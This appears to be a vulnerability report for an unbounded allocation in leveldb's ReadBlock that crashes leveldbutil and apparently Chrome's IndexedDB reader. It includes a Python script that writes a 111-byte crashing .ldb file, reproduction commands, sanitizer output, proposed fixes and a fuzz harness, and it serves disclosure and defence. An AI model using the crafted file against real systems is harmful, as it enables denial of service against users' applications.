Summary
leveldb::ReadBlock at table/format.cc:78 passes an attacker-controlled 64-bit BlockHandle::size() directly to new char[n + kBlockTrailerSize] with no upper-bound check. A 111-byte crafted .ldb file causes leveldbutil dump — and every other leveldb consumer calling Table::Open (Chrome's IndexedDB reader, Service Worker CacheStorage) — to crash with std::bad_alloc in production or allocation-size-too-big under ASan.
Affected Version
- leveldb commit:
7ee830d02b623e8ffe0b95d59a74db1e58da04c5 (upstream main, April 2026 snapshot)
- Code presence: the offending
new char[handle.size() + kBlockTrailerSize] line has been unchanged since at least the v1.20 release (2017). Every leveldb release back to that tag is vulnerable.
- Tested on: Linux 6.8.0-1044-azure x86_64, clang 17.0.6, CMake Release build with
-fsanitize=address -g -O1.
Root Cause
Vulnerable Code (table/format.cc:69-88)
Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
const BlockHandle& handle, BlockContents* result) {
result->data = Slice();
result->cachable = false;
result->heap_allocated = false;
// Read the block contents as well as the type/crc footer.
// See table_builder.cc for the code that built this structure.
size_t n = static_cast<size_t>(handle.size()); // u64 -> size_t, no bound check
char* buf = new char[n + kBlockTrailerSize]; // allocation with untrusted size
Slice contents;
Status s = file->Read(handle.offset(), n + kBlockTrailerSize, &contents, buf);
if (!s.ok()) {
delete[] buf;
return s;
}
if (contents.size() != n + kBlockTrailerSize) {
delete[] buf;
return Status::Corruption("truncated block read");
}
handle.size() is a uint64_t decoded earlier from a varint inside an SSTable index-block entry (see BlockHandle::DecodeFrom in table/format.cc:30-44). Every .ldb on disk carries those varints verbatim, and neither the footer parser, the index-block reader, nor ReadBlock itself validates that the decoded value fits within a sane envelope (the file's own size, Options::block_size, or any hard upper bound).
A crafted index entry can therefore declare a data-block of up to 2^64 - 1 bytes. When TwoLevelIterator::InitDataBlock() calls Table::BlockReader() → ReadBlock(), the new char[...] expression tries to satisfy the request and:
- Production (no sanitizer):
std::bad_alloc propagates out of the iterator and kills the consuming process unless the caller is wrapped in a catch-all try { ... } catch (...) { ... } — which leveldbutil, DumpFile, and Chrome's IndexedDB reader do not do.
- ASan build: the allocator aborts with
allocation-size-too-big on any request over 0x10000000000 (1 TiB). The crash message in our reproduction cited 0xfefbdfff5fffca bytes — ~71,885 petabytes requested from the attacker-supplied size field.
Call Chain
leveldbutil dump foo.ldb
-> leveldb::DumpFile db/dumpfile.cc:225
-> DumpTable db/dumpfile.cc:172
-> Table::Open table/table.cc
-> table->NewIterator() table/table.cc
-> TwoLevelIterator::SeekToFirst table/two_level_iterator.cc
-> SkipEmptyDataBlocksForward table/two_level_iterator.cc:123
-> InitDataBlock table/two_level_iterator.cc:156
-> Table::BlockReader table/table.cc:187
-> leveldb::ReadBlock table/format.cc:78 <-- new char[HUGE]
-> operator new[] abort / bad_alloc
Vulnerability Description
The SSTable footer (last 48 bytes of every .ldb) carries two varint-encoded BlockHandle pairs pointing at the metaindex block and index block. Those handles are validated (implicitly) against the file length when Table::Open loads the footer. But the INDEX block itself then stores per-data-block BlockHandle entries, and those inner handles are not re-validated before being handed to ReadBlock.
The attacker lifecycle:
- Attacker plants a
.ldb on disk (Chrome profile directory, Android /data/data/<pkg>/, an IndexedDB backup/restore import, or any leveldb consumer's working directory).
- The victim process calls
Table::Open(env, options, file, size, &table) on the file. The top-level footer parse succeeds because the attacker assembled a file that looks structurally valid up to the outer level.
table->NewIterator() + SeekToFirst() triggers TwoLevelIterator::InitDataBlock(), which reads a data-block handle out of the index block — that handle advertises an enormous size field.
ReadBlock() does new char[size + 5] and the process crashes.
Because the offending bytes live in the index block (mid-file), not the footer, a harness-side footer sanity check does not prevent the bug — we saw exactly this during fuzzing: our harness pre-validates the last-48-byte footer but the crash still reproduces from 111-byte files because the footer is valid and the index block is where the pathology hides.
Impact
| Aspect |
Details |
| Type |
Unbounded allocation / denial-of-service |
| Severity |
High |
| Attack Vector |
Local (crafted .ldb file must reach disk) |
| Affected Component |
leveldb/table/format.cc::ReadBlock |
| Affected Versions |
v1.20 through current main (7ee830d0, 2026-04) |
| CWE |
CWE-770 (Allocation of Resources Without Limits or Throttling) |
Consumers reachable through this bug:
leveldbutil dump — confirmed in this report's Phase 2 repro.
- Chrome's IndexedDB reader — opens
.ldb files under Default/IndexedDB/.../objects/ on every profile load.
- Chrome's Service Worker CacheStorage — opens
.ldb files under Service Worker/CacheStorage/.
- Android WebView — identical IndexedDB / CacheStorage paths.
- Any first-party tool using
leveldb::DB::Open or leveldb::Table::Open on untrusted input.
Severity
CVSS 3.1 Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
| Metric |
Value |
Rationale |
| Attack Vector |
Local |
Attacker must plant an .ldb on a filesystem the victim will read. Reachable via profile directory tampering, IndexedDB backup import, Chrome extension storage, or any cross-device sync that writes on-disk leveldb state. |
| Attack Complexity |
Low |
111-byte file reliably crashes every invocation. No timing, no heap grooming, no memory layout dependence. |
| Privileges Required |
None |
The offending file just needs to exist in a location the victim process reads. |
| User Interaction |
Required |
Victim must initiate a leveldb Table::Open — opening the Chrome profile, running leveldbutil dump, importing a backup, etc. |
| Confidentiality |
None |
Pure DoS — no read / info-leak path. |
| Integrity |
None |
No write / state-corruption path. |
| Availability |
High |
Consumer process crashes hard. For Chrome this kills the tab / extension service worker / IndexedDB origin every time the victim attempts to load the affected profile — recovery requires manual removal of the planted file. |
PoC
Crash input
111 bytes. SHA-256: 7d83c15f806956f7db67bd30f9d8ea88956487fc4c0ff4cb395b965457f256bd.
# generate_poc.py — re-create the crashing .ldb from bytes
poc = bytes([
0x00, 0x04, 0x05, 0x00, 0x00, 0x28, 0xa1, 0x86, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x22, 0x6d, 0xc5, 0xff, 0xff, 0xfa, 0xff, 0xfb, 0xbe, 0xff,
0x00, 0x00, 0x04, 0x05, 0x32, 0x00, 0x00, 0x00, 0xd8, 0x9b, 0x00, 0x00,
0x00, 0x00, 0x00, 0x02, 0x6d, 0x3b, 0x00, 0x00, 0x05, 0xcc, 0x02, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2e, 0x02, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x19, 0x00, 0x04, 0x05,
0x00, 0x00, 0x34, 0x00, 0x00, 0x60, 0x00, 0x28, 0x00, 0x00, 0x00, 0x02,
0x6d, 0x3b, 0x00, 0x00, 0x05, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x57, 0xfb, 0x80, 0x8b, 0x24,
0x75, 0x47, 0xdb,
])
open("000001.ldb", "wb").write(poc)
Build leveldbutil with ASan
git clone https://github.com/google/leveldb
cd leveldb
git checkout 7ee830d02b623e8ffe0b95d59a74db1e58da04c5 # or current main
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Release \
-DLEVELDB_BUILD_TESTS=OFF \
-DLEVELDB_BUILD_BENCHMARKS=OFF \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ..
make -j leveldbutil
Reproduce via the shipped leveldbutil CLI (Phase 2 — production consumer)
python3 generate_poc.py
ASAN_OPTIONS=detect_leaks=0 ./leveldbutil dump 000001.ldb
ASan aborts the process with allocation-size-too-big. The stack frames DumpFile → DumpTable → TwoLevelIterator::SeekToFirst → ReadBlock are the exact public call path any leveldb consumer takes when iterating a table.
Reproduce via the discovery fuzzer (Phase 1)
./leveldb_table_open_scan_fuzzer 000001.ldb
The fuzzer binary is a libFuzzer harness that drives leveldb::Table::Open + Iterator::SeekToFirst + Next/key/value on the input bytes via an in-memory RandomAccessFile subclass. Same ReadBlock crash, same stack.
Sanitizer Output
From leveldbutil dump 000001.ldb (the production consumer):
=================================================================
==519532==ERROR: AddressSanitizer: requested allocation size 0xfefbdfff5fffca (0xfefbdfff600fd0 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x... in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:102
#1 0x... in leveldb::ReadBlock(...) table/format.cc:78
#2 0x... in leveldb::Table::BlockReader(...) table/table.cc:187
#3 0x... in InitDataBlock table/two_level_iterator.cc:156
#4 0x... in SkipEmptyDataBlocksForward table/two_level_iterator.cc:123
#5 0x... in DumpTable db/dumpfile.cc:172
#6 0x... in leveldb::DumpFile(...) db/dumpfile.cc:225
#7 0x... in HandleDumpCommand db/leveldbutil.cc:29
#8 0x... in main db/leveldbutil.cc:57
#9 0x... in __libc_start_call_main
==519532==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big in operator new[](unsigned long)
==519532==ABORTING
Suggested Fix
Add an upper bound to handle.size() before the allocation. Two reasonable options:
Option A — hard cap on block size (minimal diff)
--- a/table/format.cc
+++ b/table/format.cc
@@ -68,12 +68,21 @@ Status BlockHandle::DecodeFrom(Slice* input) {
Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
const BlockHandle& handle, BlockContents* result) {
result->data = Slice();
result->cachable = false;
result->heap_allocated = false;
// Read the block contents as well as the type/crc footer.
// See table_builder.cc for the code that built this structure.
+ // SECURITY: block sizes beyond a sane ceiling indicate a corrupt or
+ // malicious SSTable. Default Options::block_size is 4 KiB; real
+ // tables rarely exceed a few MB per block. A hard cap of 64 MiB is
+ // ~4000x the default and well above documented use, while small
+ // enough to avoid std::bad_alloc / ASan allocation-size-too-big on
+ // adversarial inputs. Without this check the raw new char[] below
+ // will happily attempt to allocate up to 2^64 bytes.
+ static constexpr uint64_t kMaxBlockSize = 64 * 1024 * 1024;
+ if (handle.size() > kMaxBlockSize) {
+ return Status::Corruption("block size exceeds kMaxBlockSize");
+ }
size_t n = static_cast<size_t>(handle.size());
char* buf = new char[n + kBlockTrailerSize];
Option B — validate against file length (more robust)
Propagate the RandomAccessFile's total size down into ReadBlock and verify handle.offset() + handle.size() + kBlockTrailerSize <= file_size before allocating. This is what Footer::DecodeFrom implicitly does for the top-level metaindex / index handles, but the check needs to extend to inner data-block handles reached through TwoLevelIterator::InitDataBlock().
Option A is the minimal-risk hot-fix. Option B is the structurally correct fix. Either turns the crash into a clean Status::Corruption return value, which callers (Table::Open, DumpFile, DB::Open) already propagate.
Upstream fix judgement welcome — both options are open to bikeshedding on the exact upper bound.
Fuzz Harness Source
The full source of the libFuzzer harness that found this bug. A
reviewer should be able to rebuild the exact fuzzer from this
block alone.
// leveldb_table_open_scan_fuzzer.cc
//
// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.
// libFuzzer harness for leveldb::Table::Open + full scan. Drives the
// SSTable footer + block parser on attacker bytes via an in-memory
// RandomAccessFile backed by the fuzz input.
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <memory>
#include <string>
#include "leveldb/iterator.h"
#include "leveldb/options.h"
#include "leveldb/slice.h"
#include "leveldb/status.h"
#include "leveldb/table.h"
#include "leveldb/env.h"
namespace {
// Minimal RandomAccessFile wrapping a byte slice. Env::NewRandomAccessFile
// returns an instance of the same public abstract class in production,
// so the harness is not bypassing any security boundary.
class BytesRandomAccessFile : public leveldb::RandomAccessFile {
public:
BytesRandomAccessFile(const uint8_t* data, size_t size)
: data_(data), size_(size) {}
leveldb::Status Read(uint64_t offset, size_t n, leveldb::Slice* result,
char* scratch) const override {
if (offset > size_) {
*result = leveldb::Slice();
return leveldb::Status::IOError("offset beyond file size");
}
size_t avail = size_ - static_cast<size_t>(offset);
if (n > avail) n = avail;
memcpy(scratch, data_ + offset, n);
*result = leveldb::Slice(scratch, n);
return leveldb::Status::OK();
}
private:
const uint8_t* data_;
size_t size_;
};
} // namespace
// Pre-validate the SSTable footer (last 48 bytes) so Table::Open
// does not try to `new char[block_size]` with attacker-controlled,
// unbounded size fields in the OUTER metaindex / index handles.
// Footer layout:
// [0..39] metaindex BlockHandle + index BlockHandle
// (each handle is two varint64s: offset, size)
// [40..47] magic (0xdb4775248b80fb57)
// Note: this only bounds the OUTER handles. The inner data-block
// handles stored INSIDE the index block are NOT validated — that
// is exactly where the reported bug hides.
static bool LeveldbFooterSane(const uint8_t* data, size_t size) {
if (size < 48) return false;
if (size > (1u << 20)) return false; // 1 MiB cap keeps allocs bounded
const uint8_t* p = data + size - 48;
const uint8_t* end = p + 40;
auto decode_varint = [](const uint8_t*& c, const uint8_t* e) -> uint64_t {
uint64_t result = 0;
for (int shift = 0; shift <= 63 && c < e; shift += 7) {
uint8_t b = *c++;
result |= static_cast<uint64_t>(b & 0x7f) << shift;
if (!(b & 0x80)) return result;
}
return UINT64_MAX; // overflow / malformed
};
const uint64_t lim = size;
uint64_t meta_off = decode_varint(p, end);
uint64_t meta_sz = decode_varint(p, end);
uint64_t idx_off = decode_varint(p, end);
uint64_t idx_sz = decode_varint(p, end);
if (meta_sz > lim || idx_sz > lim) return false;
if (meta_off > lim || idx_off > lim) return false;
if (meta_off + meta_sz > lim) return false;
if (idx_off + idx_sz > lim) return false;
if (meta_sz > 64 * 1024 || idx_sz > 64 * 1024) return false;
return true;
}
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if (!LeveldbFooterSane(data, size)) return 0;
BytesRandomAccessFile file(data, size);
leveldb::Options options;
leveldb::Table* raw_table = nullptr;
leveldb::Status s =
leveldb::Table::Open(options, &file, size, &raw_table);
if (!s.ok()) return 0;
std::unique_ptr<leveldb::Table> table(raw_table);
leveldb::ReadOptions ro;
std::unique_ptr<leveldb::Iterator> it(table->NewIterator(ro));
int scanned = 0;
for (it->SeekToFirst(); it->Valid() && scanned < 100000; it->Next()) {
// Touch both key and value to force the block iterator to
// reconstruct the shared-prefix key and read value bytes —
// this is what drives the TwoLevelIterator::InitDataBlock()
// call that hits the vulnerable ReadBlock path.
leveldb::Slice k = it->key();
leveldb::Slice v = it->value();
(void)k.size();
(void)v.size();
scanned++;
}
(void)it->status();
return 0;
}
Build and link (leveldb is compiled with -fno-rtti, so the
harness must be too):
clang++ -std=c++17 -fsanitize=fuzzer,address -fno-rtti \
-g -O1 -fno-omit-frame-pointer \
-I<leveldb>/include -I<leveldb> \
leveldb_table_open_scan_fuzzer.cc \
<leveldb>/build/libleveldb.a \
-lpthread -lsnappy \
-o leveldb_table_open_scan_fuzzer
Corpus: a mix of footer-valid stub files and synthetic SSTables
with crafted block handles. No special ASAN_OPTIONS needed — the
harness's LeveldbFooterSane pre-validator deliberately lets inner
data-block pathologies through, so the fuzzer spends its time
inside ReadBlock.
Discovery
- Discovered by: O2 Security Team (FuzzingBrain)
- Discovered on: 2026-04-11
- Harness:
leveldb_table_open_scan_fuzzer.cc (see "Fuzz Harness Source" above)
Summary
leveldb::ReadBlockattable/format.cc:78passes an attacker-controlled 64-bitBlockHandle::size()directly tonew char[n + kBlockTrailerSize]with no upper-bound check. A 111-byte crafted.ldbfile causesleveldbutil dump— and every other leveldb consumer callingTable::Open(Chrome's IndexedDB reader, Service Worker CacheStorage) — to crash withstd::bad_allocin production orallocation-size-too-bigunder ASan.Affected Version
7ee830d02b623e8ffe0b95d59a74db1e58da04c5(upstreammain, April 2026 snapshot)new char[handle.size() + kBlockTrailerSize]line has been unchanged since at least the v1.20 release (2017). Every leveldb release back to that tag is vulnerable.-fsanitize=address -g -O1.Root Cause
Vulnerable Code (
table/format.cc:69-88)handle.size()is auint64_tdecoded earlier from a varint inside an SSTable index-block entry (seeBlockHandle::DecodeFromintable/format.cc:30-44). Every.ldbon disk carries those varints verbatim, and neither the footer parser, the index-block reader, norReadBlockitself validates that the decoded value fits within a sane envelope (the file's own size,Options::block_size, or any hard upper bound).A crafted index entry can therefore declare a data-block of up to
2^64 - 1bytes. WhenTwoLevelIterator::InitDataBlock()callsTable::BlockReader()→ReadBlock(), thenew char[...]expression tries to satisfy the request and:std::bad_allocpropagates out of the iterator and kills the consuming process unless the caller is wrapped in a catch-alltry { ... } catch (...) { ... }— whichleveldbutil,DumpFile, and Chrome's IndexedDB reader do not do.allocation-size-too-bigon any request over0x10000000000(1 TiB). The crash message in our reproduction cited0xfefbdfff5fffcabytes — ~71,885 petabytes requested from the attacker-supplied size field.Call Chain
Vulnerability Description
The SSTable footer (last 48 bytes of every
.ldb) carries two varint-encodedBlockHandlepairs pointing at the metaindex block and index block. Those handles are validated (implicitly) against the file length whenTable::Openloads the footer. But the INDEX block itself then stores per-data-blockBlockHandleentries, and those inner handles are not re-validated before being handed toReadBlock.The attacker lifecycle:
.ldbon disk (Chrome profile directory, Android/data/data/<pkg>/, an IndexedDB backup/restore import, or any leveldb consumer's working directory).Table::Open(env, options, file, size, &table)on the file. The top-level footer parse succeeds because the attacker assembled a file that looks structurally valid up to the outer level.table->NewIterator()+SeekToFirst()triggersTwoLevelIterator::InitDataBlock(), which reads a data-block handle out of the index block — that handle advertises an enormoussizefield.ReadBlock()doesnew char[size + 5]and the process crashes.Because the offending bytes live in the index block (mid-file), not the footer, a harness-side footer sanity check does not prevent the bug — we saw exactly this during fuzzing: our harness pre-validates the last-48-byte footer but the crash still reproduces from 111-byte files because the footer is valid and the index block is where the pathology hides.
Impact
.ldbfile must reach disk)leveldb/table/format.cc::ReadBlockmain(7ee830d0, 2026-04)Consumers reachable through this bug:
leveldbutil dump— confirmed in this report's Phase 2 repro..ldbfiles underDefault/IndexedDB/.../objects/on every profile load..ldbfiles underService Worker/CacheStorage/.leveldb::DB::Openorleveldb::Table::Openon untrusted input.Severity
CVSS 3.1 Score: 6.5 (Medium)
Vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H.ldbon a filesystem the victim will read. Reachable via profile directory tampering, IndexedDB backup import, Chrome extension storage, or any cross-device sync that writes on-disk leveldb state.Table::Open— opening the Chrome profile, runningleveldbutil dump, importing a backup, etc.PoC
Crash input
111 bytes. SHA-256:
7d83c15f806956f7db67bd30f9d8ea88956487fc4c0ff4cb395b965457f256bd.Build leveldbutil with ASan
Reproduce via the shipped leveldbutil CLI (Phase 2 — production consumer)
ASan aborts the process with
allocation-size-too-big. The stack framesDumpFile→DumpTable→TwoLevelIterator::SeekToFirst→ReadBlockare the exact public call path any leveldb consumer takes when iterating a table.Reproduce via the discovery fuzzer (Phase 1)
The fuzzer binary is a libFuzzer harness that drives
leveldb::Table::Open+Iterator::SeekToFirst+Next/key/valueon the input bytes via an in-memoryRandomAccessFilesubclass. SameReadBlockcrash, same stack.Sanitizer Output
From
leveldbutil dump 000001.ldb(the production consumer):Suggested Fix
Add an upper bound to
handle.size()before the allocation. Two reasonable options:Option A — hard cap on block size (minimal diff)
Option B — validate against file length (more robust)
Propagate the
RandomAccessFile's total size down intoReadBlockand verifyhandle.offset() + handle.size() + kBlockTrailerSize <= file_sizebefore allocating. This is whatFooter::DecodeFromimplicitly does for the top-level metaindex / index handles, but the check needs to extend to inner data-block handles reached throughTwoLevelIterator::InitDataBlock().Option A is the minimal-risk hot-fix. Option B is the structurally correct fix. Either turns the crash into a clean
Status::Corruptionreturn value, which callers (Table::Open,DumpFile,DB::Open) already propagate.Upstream fix judgement welcome — both options are open to bikeshedding on the exact upper bound.
Fuzz Harness Source
The full source of the libFuzzer harness that found this bug. A
reviewer should be able to rebuild the exact fuzzer from this
block alone.
Build and link (leveldb is compiled with
-fno-rtti, so theharness must be too):
clang++ -std=c++17 -fsanitize=fuzzer,address -fno-rtti \ -g -O1 -fno-omit-frame-pointer \ -I<leveldb>/include -I<leveldb> \ leveldb_table_open_scan_fuzzer.cc \ <leveldb>/build/libleveldb.a \ -lpthread -lsnappy \ -o leveldb_table_open_scan_fuzzerCorpus: a mix of footer-valid stub files and synthetic SSTables
with crafted block handles. No special
ASAN_OPTIONSneeded — theharness's
LeveldbFooterSanepre-validator deliberately lets innerdata-block pathologies through, so the fuzzer spends its time
inside
ReadBlock.Discovery
leveldb_table_open_scan_fuzzer.cc(see "Fuzz Harness Source" above)